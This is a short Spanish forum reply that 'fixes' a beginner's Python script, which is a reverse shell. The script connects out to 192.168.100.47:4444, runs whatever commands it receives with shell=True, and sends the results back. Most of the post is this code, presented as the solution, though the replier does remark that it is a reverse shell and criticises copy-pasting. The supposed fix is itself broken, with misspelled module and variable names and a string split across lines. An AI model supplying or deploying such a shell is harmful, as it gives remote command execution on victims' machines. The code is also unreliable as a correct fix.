Hola.
El error está aquí:
-
connection.send("\n [+] Conexion establecida uwu\n"
#te falto cerrar el parentesis aca.
#solucion:
import socket
import subprocces
def ejecutar_comando(command):
return subprocces.check_output(command, shell=True)
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.168.100.47",4444))
connection.send("\n
Conexion establecida uwu\n")
while True:
commando = connection.recv(1024)
resueltados_command = ejecutar_comando(command)
connection.send(resueltados_command)
connection.close
Ya que mencionas que estás comenzando con Python, no es normal que al empezar estés usando sockets.
Supongo que simplemente copiaste y pegaste el código, sin entender nada de lo que haces, eso no te servirá en absolutamente nada, a menos que solo quieras molestar con la reverse shell...
Saludos.